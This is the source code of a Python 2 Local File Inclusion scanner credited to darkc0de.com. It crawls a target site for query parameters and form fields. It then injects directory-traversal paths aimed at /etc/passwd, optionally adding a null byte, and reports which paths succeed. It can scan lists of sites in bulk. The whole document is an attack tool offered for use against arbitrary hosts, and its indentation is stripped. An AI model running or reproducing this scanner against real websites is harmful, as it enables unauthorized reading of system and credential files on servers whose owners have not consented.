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lfiscan.py
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lfiscan.py
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#!/usr/bin/python
#This is a Local File Inclusion scanner.
#
##http://www.darkc0de.com
##d3hydr8[at]gmail[dot]com
import sys, httplib, time, socket, sets, urllib2, re
def main(host):
print "\n","-"*55
print "\n[+] Target host:",host
#Getting http request codes
okresp = tester("/")[:1]
badresp,reason,server = tester("/d3hydr8.html")
host = getindex(okresp[0])
if okresp[0] == badresp:
print "\n[-] Responses matched, try another host.\n"
else:
print "[+] Target server:",server
print "[+] Target OK response:",okresp[0]
print "[+] Target BAD response:",badresp, reason
print "[+] Scan Started at",timer()
time.sleep(2)
print "[+] Gathering Fields:",host
try:
names, actions, var = getvar()
print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))
paths = getpaths(var, names, actions)
print "[+] Paths Found:",len(paths),"\n"
for path in paths:
for x in xrange(path.count("../")-2):
code, reason = tester(path.replace('../',"",x+1))[:2]
if code == okresp[0]:
print "\n\t[+]",code,reason,":",path.split("/",1)[1].replace('../',"",x+1),"\n"
except(TypeError):
print "[-] Couldn't find enough fields.\n"
pass
def tester(path):
try:# make a http HEAD request
h = httplib.HTTP(host.split("/",1)[0], int(port))
h.putrequest("GET", "/"+path.split("/",1)[1])
h.putheader("Host", host.split("/",1)[0])
h.endheaders()
status, reason, headers = h.getreply()
if verbose == 1:
print "[+]",status,reason,":","/"+path.split("/",1)[1]
return status, reason, headers.get("Server")
except(), msg:
print "[-] Error Occurred\n",msg
sys.exit(1)
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def getindex(okresp):
#Try and get index page if not posted.
if re.search("index", host) == None:
code = tester("/index.php")[:1]
if code[0] == okresp:
return host+"/index.php"
else:
code = tester("/index.html")[:1]
if code[0] == okresp:
return host+"/index.html"
def getpaths(var, names, actions):
print "[+] Creating Paths...\n"
if len(var) >= 1:
for v in var:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+"/"+v+lfi+null)
paths.append(host+"/"+v+lfi+null)
if len(names) >= 1:
for n in names:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+"/"+"?"+n+"="+lfi+null)
paths.append(host+"/"+"?"+n+"="+lfi+null)
if len(actions) != 0 and len(names) >= 1:
for a in actions:
for n in names:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+a+"?"+n+"="+lfi+null)
#paths.append(host.split("/")[0]+a+"?"+n+"="+lfi+null)
if len(actions) != 0 and len(var) >= 1:
for a in actions:
for v in var:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+a+v+lfi+null)
else:
paths.append(host.split("/")[0]+a+v+lfi+null)
return paths
def getvar():
names = []
actions = []
try:
webpage = urllib2.urlopen("http://"+host, port).read()
var = re.findall("\?[\w\.\-/]*\=",webpage)
if len(var) >=1:
var = list(sets.Set(var))
found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
found_action = list(sets.Set(found_action))
if len(found_action) >= 1:
for a in found_action:
a = a.split('"',2)[1]
try:
if a[0] != "/":
a = "/"+a
except(IndexError):
pass
actions.append(a)
found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
found_names = list(sets.Set(found_names))
for n in found_names:
names.append(n.split('"',2)[1])
return names, actions, var
except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine):
pass
except(KeyboardInterrupt):
print "\n[-] Cancelled -",timer(),"\n"
sys.exit(1)
print "\n\t d3hydr8[at]gmail[dot]com LFIscanner v1.0"
print "\t----------------------------------------------"
if len(sys.argv) < 3 or len(sys.argv) > 7:
print "\nUsage: ./lfiscan.py <options>\n"
print "Ex. ./lfiscan.py -h google.com -p 80 -null -v"
print "Ex. ./lfiscan.py -list sites.txt -p 80 -v\n"
print "\t[options]"
print "\t -h/-host : Host to scan"
print "\t -p/-port : Port to use (defaults: 80)"
print "\t -l/-list <list of sites> : List of sites to scan through"
print "\t -n/-null : Adds a null byte onto the end of the inclusion"
print "\t -v/-verbose : Shows every lfi attempt\n"
sys.exit(1)
paths = []
lfi = "../../../../../../../etc/passwd"
socket.setdefaulttimeout(25)
for arg in sys.argv[1:]:
if arg.lower() == "-h" or arg.lower() == "-host":
host = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-p" or arg.lower() == "-port":
port = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-l" or arg.lower() == "-list":
sites = open(sys.argv[int(sys.argv[1:].index(arg))+2], "r").readlines()
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
if arg.lower() == "-n" or arg.lower() == "-null":
null = "%00"
try:
if verbose ==1:
print "\n[+] Verbose Mode On"
except(NameError):
print "\n[-] Verbose Mode Off"
verbose = 0
try:
if null:
print "[+] Null Byte On"
except(NameError):
print "[-] Null Byte Off"
null = ""
try:
if port:
print "[+] Target port:",port
except(NameError):
port = "80"
print "[+] Target port:",port
try:
if sites:
print "\n[+] Loaded:",len(sites),"sites"
for host in sites:
host = host[:-1]
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
main(host)
except(NameError):
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
main(host)
print "\n[-] Scan completed at",timer(),"\n"